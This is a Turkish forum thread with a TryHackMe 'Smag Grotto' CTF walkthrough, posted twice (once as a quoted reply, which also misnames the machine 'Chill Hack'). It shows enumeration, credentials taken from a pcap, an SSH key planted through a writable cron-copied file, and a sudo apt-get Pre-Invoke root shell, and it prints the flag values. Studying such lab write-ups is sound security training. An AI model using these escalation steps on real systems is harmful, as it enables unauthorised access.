TryHackMe | Smag Grotto WriteUp

Pytang

Katılımcı Üye
18 Eki 2014
317
327
subdomain
dpdp0wq.png


Zorluk: Easy

Merhaba, bu yazımda TryHackMe sitesinde bulunan Chill Hack isimli makinenin çözümünü anlatacağım.

Nmap taraması yaparak başlayalım, 22 ve 80 portları açık.


22: SSH
80: HTTP
Kod:
ORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 74:e0:e1:b4:05:85:6a:15:68:7e:16:da:f2:c7:6b:ee (RSA)
|   256 bd:43:62:b9:a1:86:51:36:f8:c7:df:f9:0f:63:8f:a3 (ECDSA)
|_  256 f9:e7:da:07:8f:10:af:97:0b:32:87:c9:32:d7:1b:76 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Smag
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80 portu açık olduğu için makinenin bir websitesi var, siteye erişmek için makine ıp adresini tarayıcıma yazıp giriyorum.

a19nimz.PNG


Sonra gizli dizinleri taratmak için gobuster aracını kullandım.
Kod:
root@kali:gobuster dir -u http://http://10.10.90.225 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.90.225
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/08/29 12:35:02 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/index.php (Status: 200)
/mail (Status: 301)
/server-status (Status: 403)
===============================================================
2020/08/29 12:35:31 Finished
===============================================================

/mail dizinine giriyorum.

o5vyd6m.PNG


Görünüşe göre bir tür e-posta alışverişi var, pcap dosyası Wireshark ile açılabilir o yüzden dosyayı indirelim ve pcap dosyasını açalım.

7h9u2ft.png


5u0opd2.PNG


Güzel, kullanıcı adı ve şifreyi başarıyla aldık ama ne için?

Bu kimlik bilgileriyle SSH bağlantısını denemeden önce, TCP Stream üzerinde bir Host olduğunu görebilirsiniz: “
development.smag.thm”, bu bağlantıya bir göz atalım.

Bunu ana bilgisayarı eklemek için “/etc/hosts” dosyanızı düzenlemeniz gerekir.


4ea1135.PNG


TCP Stream'in bize verdiği kimlik bilgilerini kullanalım


buv87vm.PNG


g7kfed0.PNG


Pcap dosyası içerisinde verdiği bilgilerle giriş yapabildik ve karşımıza komut çalıştırabileceğimiz bir panel geldi.

/home klasörünün içeriğine bakyık, jake adlı bir kullanıcıyı ortaya çıktı. Ne yazık ki bu klasördeki user bayrağına yalnızca jake tarafından erişilebilir.

Kod:
www-data@smag:/var/www/development.smag.thm$ cd /home
cd /home
www-data@smag:/home$ ls -la
ls -la
total 12
drwxr-xr-x  3 root root 4096 Jun  4 11:37 .
drwxr-xr-x 22 root root 4096 Jun  4 11:35 ..
drwxr-xr-x  4 jake jake 4096 Jun  5 11:05 jake
www-data@smag:/home$ cd jake
cd jake
www-data@smag:/home/jake$ ls -la
ls -la
total 60
drwxr-xr-x 4 jake jake 4096 Jun  5 11:05 .
drwxr-xr-x 3 root root 4096 Jun  4 11:37 ..
-rw------- 1 jake jake  490 Jun  5 11:05 .bash_history
-rw-r--r-- 1 jake jake  220 Jun  4 11:37 .bash_logout
-rw-r--r-- 1 jake jake 3771 Jun  4 15:12 .bashrc
drwx------ 2 jake jake 4096 Jun  4 11:39 .cache
-rw------- 1 root root   28 Jun  5 11:05 .lesshst
-rw-r--r-- 1 jake jake  655 Jun  4 11:37 .profile
-rw-r--r-- 1 root root   75 Jun  4 15:53 .selected_editor
drwx------ 2 jake jake 4096 Jun  4 15:27 .ssh
-rw-r--r-- 1 jake jake    0 Jun  4 11:45 .sudo_as_admin_successful
-rw------- 1 jake jake 9336 Jun  5 11:05 .viminfo
-rw-r--r-- 1 root root  167 Jun  5 09:29 .wget-hsts
-rw-rw---- 1 jake jake   33 Jun  4 13:02 user.txt
www-data@smag:/home/jake$ cat user.txt
cat user.txt
cat: user.txt: Permission denied

Kod:
www-data@smag:/home/jake$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*  *    * * *   root    /bin/cat /opt/.backups/jake_id_rsa.pub.backup > /home/jake/.ssh/authorized_keys

Cronjob Jake'in SSH anahtarının içeriğini authorized_keys kopyaladığı görünüyor. Ayrıca kopyalanan dosya yazılabilir.
Kod:
www-data@smag:/opt/.backups$ ls -l /opt/.backups/jake_id_rsa.pub.backup
ls -l /opt/.backups/jake_id_rsa.pub.backup
-rw-rw-rw- 1 root root 563 Jun  5 09:25 /opt/.backups/jake_id_rsa.pub.backup


Kendi anahtarımızı ekleyelim (kendi anahtarınızı oluşturmak için ssh-keygen -t rsa kullanın).

Kod:
www-data@smag:/opt/.backups$ echo "ssh-rsa AAAAB3NzaC[REDACTED]+m7pk= kali@kali" > /opt/.backups/jake_id_rsa.pub.backup

1 dakika bekleyin ve şifresiz jake olarak bağlanın.
Kod:
root@kali:/data/vpn$ ssh [email protected]
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-142-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

Last login: Fri Jun  5 10:15:15 2020
jake@smag:~$

Kod:
jake@smag:~$ cat user.txt
iusGorV7EbmxM5AuIe2w499msaSuqU3j

Jake, apt-get'i parola olmadan root olarak çalıştırabilir.
Kod:
jake@smag:~$ sudo -l
Matching Defaults entries for jake on smag:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jake may run the following commands on smag:
    (ALL : ALL) NOPASSWD: /usr/bin/apt-get

GTFOBins kontrol ederek yetki yükseltebileceğim bri shell buluyorum.

Kod:
jake@smag:~$ sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/bash
root@smag:/tmp# whoami
root

Son olarakda root baytağını yakalayıp CTF'imizi bitirelim.

Kod:
root@smag:/tmp# cd /root
root@smag:/root# ls -l
total 4
-rw-rw---- 1 root root 33 Jun  4 13:04 root.txt
root@smag:/root# cat root.txt
uJr6zRgetaniyHVRqqL58uRasybBKz2T
 

Phoenix.py

Katılımcı Üye
9 Tem 2021
567
291
THT
dpdp0wq.png


Zorluk: Easy

Merhaba, bu yazımda TryHackMe sitesinde bulunan Chill Hack isimli makinenin çözümünü anlatacağım.

Nmap taraması yaparak başlayalım, 22 ve 80 portları açık.


22: SSH
80: HTTP
Kod:
ORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 74:e0:e1:b4:05:85:6a:15:68:7e:16:da:f2:c7:6b:ee (RSA)
|   256 bd:43:62:b9:a1:86:51:36:f8:c7:df:f9:0f:63:8f:a3 (ECDSA)
|_  256 f9:e7:da:07:8f:10:af:97:0b:32:87:c9:32:d7:1b:76 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Smag
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80 portu açık olduğu için makinenin bir websitesi var, siteye erişmek için makine ıp adresini tarayıcıma yazıp giriyorum.

a19nimz.PNG


Sonra gizli dizinleri taratmak için gobuster aracını kullandım.
Kod:
root@kali:gobuster dir -u http://http://10.10.90.225 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.90.225
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/08/29 12:35:02 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/index.php (Status: 200)
/mail (Status: 301)
/server-status (Status: 403)
===============================================================
2020/08/29 12:35:31 Finished
===============================================================

/mail dizinine giriyorum.

o5vyd6m.PNG


Görünüşe göre bir tür e-posta alışverişi var, pcap dosyası Wireshark ile açılabilir o yüzden dosyayı indirelim ve pcap dosyasını açalım.

7h9u2ft.png


5u0opd2.PNG


Güzel, kullanıcı adı ve şifreyi başarıyla aldık ama ne için?

Bu kimlik bilgileriyle SSH bağlantısını denemeden önce, TCP Stream üzerinde bir Host olduğunu görebilirsiniz: “
development.smag.thm”, bu bağlantıya bir göz atalım.

Bunu ana bilgisayarı eklemek için “/etc/hosts” dosyanızı düzenlemeniz gerekir.


4ea1135.PNG


TCP Stream'in bize verdiği kimlik bilgilerini kullanalım

buv87vm.PNG


g7kfed0.PNG


Pcap dosyası içerisinde verdiği bilgilerle giriş yapabildik ve karşımıza komut çalıştırabileceğimiz bir panel geldi.

/home klasörünün içeriğine bakyık, jake adlı bir kullanıcıyı ortaya çıktı. Ne yazık ki bu klasördeki user bayrağına yalnızca jake tarafından erişilebilir.

Kod:
www-data@smag:/var/www/development.smag.thm$ cd /home
cd /home
www-data@smag:/home$ ls -la
ls -la
total 12
drwxr-xr-x  3 root root 4096 Jun  4 11:37 .
drwxr-xr-x 22 root root 4096 Jun  4 11:35 ..
drwxr-xr-x  4 jake jake 4096 Jun  5 11:05 jake
www-data@smag:/home$ cd jake
cd jake
www-data@smag:/home/jake$ ls -la
ls -la
total 60
drwxr-xr-x 4 jake jake 4096 Jun  5 11:05 .
drwxr-xr-x 3 root root 4096 Jun  4 11:37 ..
-rw------- 1 jake jake  490 Jun  5 11:05 .bash_history
-rw-r--r-- 1 jake jake  220 Jun  4 11:37 .bash_logout
-rw-r--r-- 1 jake jake 3771 Jun  4 15:12 .bashrc
drwx------ 2 jake jake 4096 Jun  4 11:39 .cache
-rw------- 1 root root   28 Jun  5 11:05 .lesshst
-rw-r--r-- 1 jake jake  655 Jun  4 11:37 .profile
-rw-r--r-- 1 root root   75 Jun  4 15:53 .selected_editor
drwx------ 2 jake jake 4096 Jun  4 15:27 .ssh
-rw-r--r-- 1 jake jake    0 Jun  4 11:45 .sudo_as_admin_successful
-rw------- 1 jake jake 9336 Jun  5 11:05 .viminfo
-rw-r--r-- 1 root root  167 Jun  5 09:29 .wget-hsts
-rw-rw---- 1 jake jake   33 Jun  4 13:02 user.txt
www-data@smag:/home/jake$ cat user.txt
cat user.txt
cat: user.txt: Permission denied

Kod:
www-data@smag:/home/jake$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*  *    * * *   root    /bin/cat /opt/.backups/jake_id_rsa.pub.backup > /home/jake/.ssh/authorized_keys

Cronjob Jake'in SSH anahtarının içeriğini authorized_keys kopyaladığı görünüyor. Ayrıca kopyalanan dosya yazılabilir.
Kod:
www-data@smag:/opt/.backups$ ls -l /opt/.backups/jake_id_rsa.pub.backup
ls -l /opt/.backups/jake_id_rsa.pub.backup
-rw-rw-rw- 1 root root 563 Jun  5 09:25 /opt/.backups/jake_id_rsa.pub.backup


Kendi anahtarımızı ekleyelim (kendi anahtarınızı oluşturmak için ssh-keygen -t rsa kullanın).

Kod:
www-data@smag:/opt/.backups$ echo "ssh-rsa AAAAB3NzaC[REDACTED]+m7pk= kali@kali" > /opt/.backups/jake_id_rsa.pub.backup

1 dakika bekleyin ve şifresiz jake olarak bağlanın.
Kod:
root@kali:/data/vpn$ ssh [email protected]
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-142-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

Last login: Fri Jun  5 10:15:15 2020
jake@smag:~$

Kod:
jake@smag:~$ cat user.txt
iusGorV7EbmxM5AuIe2w499msaSuqU3j

Jake, apt-get'i parola olmadan root olarak çalıştırabilir.
Kod:
jake@smag:~$ sudo -l
Matching Defaults entries for jake on smag:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jake may run the following commands on smag:
    (ALL : ALL) NOPASSWD: /usr/bin/apt-get

GTFOBins kontrol ederek yetki yükseltebileceğim bri shell buluyorum.

Kod:
jake@smag:~$ sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/bash
root@smag:/tmp# whoami
root

Son olarakda root baytağını yakalayıp CTF'imizi bitirelim.

Kod:
root@smag:/tmp# cd /root
root@smag:/root# ls -l
total 4
-rw-rw---- 1 root root 33 Jun  4 13:04 root.txt
root@smag:/root# cat root.txt
uJr6zRgetaniyHVRqqL58uRasybBKz2T
Elinize sağlık hocam
 

drkasmot

Üye
17 Tem 2016
137
27
hocam easy buysa hard olanları düşünemiyorum ama okurken heyecanlandım elinize sağlık
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.